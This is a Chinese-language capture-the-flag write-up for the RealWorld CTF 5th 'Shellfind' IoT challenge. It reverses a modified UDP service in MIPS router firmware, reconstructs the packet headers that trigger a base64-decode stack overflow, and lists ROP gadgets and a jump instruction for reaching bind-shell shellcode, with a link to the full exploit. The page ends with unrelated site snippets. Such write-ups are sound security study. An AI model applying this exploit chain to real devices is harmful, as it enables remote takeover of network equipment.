<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    RWCTF 5th Shellfind復現

    VSole2023-01-28 09:45:29

    前言

    RealWorld CTF 5th 里的一道iot-pwn,根據真實設備固件改編而成,覺得題目貼近iot實戰且很有意思,故在此記錄一下復現過程。

    題目分析

    題目描述

    Hello Hacker.
    You don't know me, but I know you.
    I want to play a game. Here's what happens if you lose.
    The device you are watching is hooked into your Saturday and Sunday.
    When the timer in the back goes off,
    your curiosity will be permanently ripped open.
    Think of it like a reverse bear trap.
    Here, I'll show you.
    There is only one UDP service to shell the device.
    It's in the stomach of your cold firmware.
    Look around Hacker. Know that I'm not lying.
    Better hurry up.
    Shell or out, make your choice.
    

    從中可以看出漏洞大概率存在于UDP服務中。

    固件分析

    拿到手的是一個bin包,解壓出來可以得到一個完整的文件系統。相比于常規pwn題單一的二進制而言,我們首先要做的是尋找漏洞文件。既然是真實設備改編那我們就可以先在網上找一找官方固件并嘗試下載最新版本。

    下載到官方的固件后,可以采取bindiff等方法去找被修改過的二進制文件。可以初步判定漏洞應該是出在ipfind程序中。

    并且發現此固件為mips大端,且可疑漏洞文件沒開保護。

    固件模擬

    我是直接用qemu去模擬的這個固件,當然也可以嘗試用FirmAEfirmadynefirmware-analysis-plus等工具去進行模擬。我的qemu啟動腳本如下:

    sudo ifconfig ens33 down
    sudo brctl addbr br0
    sudo brctl addif br0 ens33
    sudo ifconfig br0 0.0.0.0 promisc up
    sudo ifconfig ens33 0.0.0.0 promisc up
    sudo dhclient br0
    sudo tunctl -t tap0
    sudo brctl addif br0 tap0
    sudo ifconfig tap0 0.0.0.0 promisc up
    sudo qemu-system-mips \
        -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
        -hda debian_wheezy_mips_standard.qcow2 \
        -append "root=/dev/sda1 console=tty0" \
        -net nic,macaddr=00:16:3e:00:00:01 \
        -net tap,ifname=tap0,script=no,downscript=no \
        -nographic
    

    啟動完成之后用scp把固件包、gdbserver、完整的busybox等傳上去。之后用如下命令切換到固件包根目錄進行操作:

    mount -t proc /proc ./squashfs-root/proc
    mount -o bind /dev ./squashfs-root/dev
    chroot ./squashfs-root/ sh
    

    之后通過/etc/rc.d/rcS初始化服務。

    啟動完成之后通過./busybox-mips netstat -pantu去查看開放的端口及對應的二進制文件。

    可以看到我們之前分析的可疑文件ipfind正是UDP服務,開放端口為62720

    值得注意的是我們用ps去查看進程發現執行的是/usr/sbin/ipfind br0這個命令,但我qemu的有效網卡是eth0,這樣以后我們會發現無法使用gdbserver進行調試,故我們要殺死該進程,并執行/usr/sbin/ipfind eth0 &,這樣我們就可以使用gdbserver進行愉快的調試了。

    漏洞文件分析

    首先是建立socket通信并綁定到62720端口,與剛才看到的端口一致。

    接著從client端接收數據,并進行一系列的操作。之后會對數據進行一個判斷,以此來確定是否進入sub_40172C函數sub_4013F4函數

    sub_40172C函數

    想進入這個函數我們可以逆出來它所需接受的內容開頭應該為:

    header1 = b"FIVI"
    header1+= b"\x00\x00\x00\x00"
    header1+= b"\x0A\x01\x00\x00"
    header1+= b"\x00\x00\x00\x00"
    header1+= b"\x00"
    header1+= b"\xFF\xFF\xFF\xFF\xFF\xFF"
    header1+= b"\x00\x00"
    header1+= b"\x00\x00\x00\x00"
    

    這個函數會調用sub_400E50得到net_get_hwaddr(ifname, a1 + 17),實際上就是mac addrqemu啟動時可以進行設置,之后打印出來對比一下即可),并把它發送到client端。這個值對于我們進入第二個函數必不可少。

    sub_4013F4函數

    想進入這個函數我們可以逆出來它所需接受的內容開頭應該為:

    header2 = b"FIVI"
    header2+= b"\x00\x00\x00\x00"
    header2+= b"\x0A\x02\x00\x00"
    header2+= b"\x00\x00\x00\x00"
    header2+= b"\x00"
    header2+= mac
    header2+= b"\x00\x00"
    header2+= b"\x8E\x00\x00\x00"
    

    進入這個函數后,我們即可找到我們的漏洞函數sub_400F50,這個函數有兩次base64 decode,第二次解碼時會發生緩沖區溢出。

    漏洞利用

    因為沒開保護,我們布置好rop跳到shellcode上即可。但是我們由于沒有libc地址,我們需要花費一定時間在ipfind這個文件里去找gadgets進行利用。

    我們想要跳轉到shellcode上執行,那么我們就需要可以泄露棧地址的gadget,于是我們找到了如下的gadget來泄露棧地址:

    .text:004013D0 sub_4013D0:                              # CODE XREF: sub_4013F4+9C↓p
    .text:004013D0                                          # sub_4013F4+160↓p ...
    .text:004013D0
    .text:004013D0 var_8           = -8
    .text:004013D0 arg_4           =  4
    .text:004013D0 arg_8           =  8
    .text:004013D0 arg_C           =  0xC
    .text:004013D0
    .text:004013D0                 addiu   $sp, -0x10
    .text:004013D4                 sw      $a1, 0x10+arg_4($sp)
    .text:004013D8                 sw      $a2, 0x10+arg_8($sp)
    .text:004013DC                 sw      $a3, 0x10+arg_C($sp)
    .text:004013E0                 addiu   $v0, $sp, 0x10+arg_4
    .text:004013E4                 sw      $v0, 0x10+var_8($sp)
    .text:004013E8                 addiu   $sp, 0x10
    .text:004013EC                 jr      $ra
    .text:004013F0                 nop
    

    這個gadget可以控制v0為棧地址,我們向上交叉引用找到一個既能控制ra又不改變v0gadget下:

    .text:00401F98                 jal     sub_4013D0
    .text:00401F9C                 li      $a0, aCanTGetHelloSo  # "Can't get hello socket"
    .text:00401FA0                 b       loc_4020B4
    .text:00401FA4                 nop
    .text:004020B4 loc_4020B4:                              # CODE XREF: sub_401DF4+1AC↑j
    .text:004020B4                                          # sub_401DF4+238↑j ...
    .text:004020B4                 lw      $ra, 0x7C+var_s8($sp)
    .text:004020B8                 lw      $s1, 0x7C+var_s4($sp)
    .text:004020BC                 lw      $s0, 0x7C+var_s0($sp)
    .text:004020C0                 jr      $ra
    .text:004020C4                 addiu   $sp, 0x88
    

    但是在走這條gadget之前我們得先恢復gp寄存器,并且還要考慮到a1,a2,a3寄存器對棧的影響,最好可以控制為nop指令,以免對剛才泄露出來的棧地址上指令造成影響。

    .text:00401218                 lw      $gp, 0x9C+var_8C($sp)
    .text:0040121C                 la      $t9, close
    .text:00401220                 jalr    $t9 ; close
    .text:00401224                 move    $a0, $s0         # fd
    .text:00401228                 move    $v0, $zero
    .text:0040122C
    .text:0040122C loc_40122C:                              # CODE XREF: sub_401120+80↑j
    .text:0040122C                                          # sub_401120+A0↑j
    .text:0040122C                 lw      $ra, 0x9C+var_s8($sp)
    .text:00401230                 lw      $s1, 0x9C+var_s4($sp)
    .text:00401234                 lw      $s0, 0x9C+var_s0($sp)
    .text:00401238                 jr      $ra
    .text:0040123C                 addiu   $sp, 0xA8
    

    接著可以找到如下gadget使得可以跳轉到S0寄存器存指向的地址中:

    .text:004027C0 loc_4027C0:                              # CODE XREF: sub_402790+3C↓j
    .text:004027C0                 jalr    $t9
    .text:004027C4                 nop
    .text:004027C8
    .text:004027C8 loc_4027C8:                              # CODE XREF: sub_402790+28↑j
    .text:004027C8                 lw      $t9, 0($s0)
    .text:004027CC                 bne     $t9, $s1, loc_4027C0
    .text:004027D0                 addiu   $s0, -4
    .text:004027D4                 lw      $ra, 0x1C+var_s8($sp)
    .text:004027D8                 lw      $s1, 0x1C+var_s4($sp)
    .text:004027DC                 lw      $s0, 0x1C+var_s0($sp)
    .text:004027E0                 jr      $ra
    .text:004027E4                 addiu   $sp, 0x28
    

    最后找一個可以把v0賦給任意地址,并且可以控制s0gadget即可:

    .text:00400F28                 sw      $v0, 0xD($s0)
    .text:00400F2C
    .text:00400F2C loc_400F2C:                              # CODE XREF: sub_400E50+CC↑j
    .text:00400F2C                 la      $v0, ifname
    .text:00400F30                 lw      $a0, (ifname - 0x413138)($v0)
    .text:00400F34                 la      $t9, net_get_hwaddr
    .text:00400F38                 jalr    $t9 ; net_get_hwaddr
    .text:00400F3C                 addiu   $a1, $s0, 0x11
    .text:00400F40                 lw      $ra, 0x20+var_s4($sp)
    .text:00400F44                 lw      $s0, 0x20+var_s0($sp)
    .text:00400F48                 jr      $ra
    .text:00400F4C                 addiu   $sp, 0x28
    

    最后跟上一個udp_bind_shellshellcode即可。布置完rop經過調試可知我們還需要寫一個短跳轉指令我用的短跳轉指令是"\x10\x00\x00\x30" # b 0xC4,使得我們能夠從泄露的棧地址跳轉到我們的shellcode處。

    exploit效果

    完整exploit見:https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py

    sudosub
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    虛機ubuntu20.04, 安裝docker, sudo apt install docker.io, sudo systemctl enable docker, sudo gpasswd -a ubuntu docker, newgrp docker, 安裝docker-compose, sudo apt install docker-compose, 給harbor起個本地域
    harbor2.5版本開始支持cosign做鏡像簽名,本周實踐了一下, ubuntu20.04.4,安裝docker,sudo apt install docker.io, sudo systemctl enable docker, sudo gpasswd -a ubuntu docker, newgrp docker, 安裝docker-compose,sudo apt instal
    vulnhub之cybox-1.1的實踐
    2022-08-14 12:30:50
    今天實踐的是vulnhub的cybox-1.1鏡像,下載地址,https://download.vulnhu
    0x01 工具介紹信息收集過程中,大型目標收集到的子域名和解析IP的關系錯綜復雜,肉眼分析起來費時又費力。cobweb 蛛網 將關聯數據進行可視化顯示,方便快速定位目標資產。
    vulnhub之devguru的實踐
    2022-07-24 18:44:07
    今天實踐的是vulnhub的devguru鏡像,下載地址,https://download.vulnhub.
    前言 由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。 如果文章中的漏洞出現敏感內容產生了部分影響,請及時聯系作者,望諒解。
    一般在獲取靶機的初始shell后,會進行提權,可以先查看home目錄下的用戶,因為有可能需要這個用戶來做跳板去獲取root權限;然后可以查看有沒有sudo濫用,定時任務,suid文件,或者home目錄下另外一個用戶時宿主的文件等等,但是,往往有一個很容易被忽略,歷史命令的查看。
    在這個層中,來自upper層的更改會覆蓋lower層的相應文件。對于同名文件upper層中的文件優先級更高。一個Overlay文件系統可以有一個或多個lower層。此層擁有寫時復制特性,當想要修改lower層不可修改的fileC時,先拷貝副本到upper層,修改后呈現到merged視圖。OverlayFS 操作流程掛載OverlayFS文件系統mkdir lower upper work merged. sudo mount -t overlay -o lowerdir=lower,upperdir=upper,workdir=work overlay merged # 掛載OverlayFS
    剛剛開始學Android逆向,發現Frida是個好東西,于是趕緊下載研究一番。下載源碼編譯,切換到最新版16.0.11, 編譯之前注意先更新nodejs。就可以成功生成frida-server以及frida相關tools,于是push到手機上執行。報錯了,繼續往下試試。/ _ | Frida 16.0.11 - A world-class dynamic instrumentation toolkit. /_/ |_| help -> Displays the help system. . . . . Connected to AOSP on redfin . 然后看下perform實現: perform {. 果然報錯就是在這里,那么關鍵的判斷就是available了,再跳過去看看。
    相關漏洞已經提交至CVE官網。漏洞介紹:在httpd文件處理admin/powerline的sub_40A918函數中,存在兩處命令注入漏洞。對plc_device對應的key參數、plc_add對應的devicePwd參數不加過濾,直接vsprintf拼接執行,造成命令注入,也可以實現棧溢出攻擊。版本:TL-WPA8630 KIT_V2_171011版,以及其他WPA、WR、WA等電力貓與中繼器設備對應版本。固件模擬基本步驟和往常的設備模擬一樣,利用qemu進行系統模擬,命令如下:#qemu系統模式啟動
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类